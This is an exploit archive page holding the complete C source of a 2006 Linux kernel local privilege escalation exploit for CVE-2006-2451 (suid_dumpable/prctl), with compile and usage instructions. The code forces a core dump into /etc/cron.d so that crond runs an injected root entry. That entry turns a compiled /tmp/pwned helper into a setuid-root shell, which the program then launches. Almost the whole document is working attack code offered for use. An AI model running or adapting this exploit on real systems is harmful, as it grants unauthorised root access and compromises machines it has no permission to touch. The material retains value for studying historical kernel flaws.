Linux 2.6.x suid_dumpable Local Root

Related Vulnerabilities: CVE-2006-2451  
Publish Date: 13 Jul 2006
Author: Marco Ivaldi
                							

                /*
 * $Id: raptor_prctl.c,v 1.1 2006/07/13 14:21:43 raptor Exp $
 *
 * raptor_prctl.c - Linux 2.6.x suid_dumpable vulnerability
 * Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * The suid_dumpable support in Linux kernel 2.6.13 up to versions before 
 * 2.6.17.4, and 2.6.16 before 2.6.16.24, allows a local user to cause a denial 
 * of service (disk consumption) and POSSIBILY (yeah, sure;) gain privileges 
 * via the PR_SET_DUMPABLE argument of the prctl function and a program that 
 * causes a core dump file to be created in a directory for which the user does 
 * not have permissions (CVE-2006-2451).
 *
 * Berlin, Sunday July 9th 2006: CAMPIONI DEL MONDO! CAMPIONI DEL MONDO!
 * CAMPIONI DEL MONDO! (i was tempted to name this exploit "pajolo.c";))
 *
 * Greets to Paul Starzetz and Roman Medina, who also exploited this ugly bug.
 *
 * NOTE. This exploit uses the Vixie's crontab /etc/cron.d attack vector: this
 * means that distributions that use a different configuration (namely Dillon's
 * crontab on Slackware Linux) can be vulnerable but not directly exploitable.
 *
 * Usage:
 * $ gcc raptor_prctl.c -o raptor_prctl -Wall
 * [exploit must be dinamically linked]
 * $ ./raptor_prctl
 * [...]
 * sh-3.00#
 *
 * Vulnerable platforms:
 * Linux from 2.6.13 up to 2.6.17.4 [tested on SuSE Linux 2.6.13-15.8-default]
 */
 
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/stat.h>
#include <sys/resource.h>
#include <sys/prctl.h>
 
#define INFO1   "raptor_prctl.c - Linux 2.6.x suid_dumpable vulnerability"
#define INFO2   "Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>"
 
char payload[] = /* commands to be executed by privileged crond */
"\nSHELL=/bin/sh\nPATH=/usr/bin:/usr/sbin:/sbin:/bin\n* * * * *   root   chown root /tmp/pwned; chmod 4755 /tmp/pwned; rm -f /etc/cron.d/core\n";
 
char pwnage[] = /* build setuid() helper to circumvent bash checks */
"echo \"main(){setuid(0);setgid(0);system(\\\"/bin/sh\\\");}\" > /tmp/pwned.c; gcc /tmp/pwned.c -o /tmp/pwned &>/dev/null; rm -f /tmp/pwned.c";
 
int main(void)
{
    int         pid, i;
    struct rlimit   corelimit;
    struct stat st;
 
    /* print exploit information */
    fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
 
    /* prepare the setuid() helper */
    system(pwnage);
 
    /* set core size to unlimited */
    corelimit.rlim_cur = RLIM_INFINITY;
    corelimit.rlim_max = RLIM_INFINITY;
    setrlimit(RLIMIT_CORE, &corelimit);
 
    /* let's do the PR_SET_DUMPABLE magic */
    if (!(pid = fork())) {
        chdir("/etc/cron.d");
        prctl(PR_SET_DUMPABLE, 2);
        sleep(666);
        exit(1);
    }
    kill(pid, SIGSEGV);
 
    /* did it work? */
    sleep(3);
    if (stat("/etc/cron.d/core", &st) < 0) {
        fprintf(stderr, "Error: Not vulnerable? See comments.\n");
        exit(1);
    }
 
    fprintf(stderr, "Ready to uncork the champagne? ");
    fprintf(stderr, "Please wait a couple of minutes;)\n");
 
    /* wait for crond to execute our evil entry */
    for (i = 0; i < 124; i += 2) {
        if (stat("/tmp/pwned", &st) < 0) {
            fprintf(stderr, "\nError: Check /tmp/pwned!\n");
            exit(1);
        }
        if (st.st_uid == 0) 
            break;
        fprintf(stderr, ".");
        sleep(2);
    }
 
    /* timeout reached? */
    if (i > 120) {
        fprintf(stderr, "\nTimeout: Check /tmp/pwned!\n");
        exit(1);
    }
 
    /* total pwnage */
    fprintf(stderr, "CAMPIONI DEL MONDO!\n\n");
    system("/tmp/pwned");
    exit(0);
}
 

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